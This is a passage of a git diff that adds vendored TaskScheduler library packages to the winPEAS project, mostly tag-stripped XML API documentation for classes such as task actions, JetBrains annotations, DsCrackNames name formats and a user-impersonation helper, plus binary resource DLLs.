Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/de/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..96e077c Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/es/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..945939b Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/fr/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..ec1d3b0 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/it/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..e7bf5e1 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/pl/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..d3554aa Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/ru/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..5febb35 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100755 index 0000000..2432ef4 Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net40/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.dll b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.dll new file mode 100755 index 0000000..c76689b Binary files /dev/null and b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.dll differ diff --git a/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..feed8f5 --- /dev/null +++ b/winPEAS/winPEASexe/packages/TaskScheduler.2.8.16/lib/net452/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7718 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based 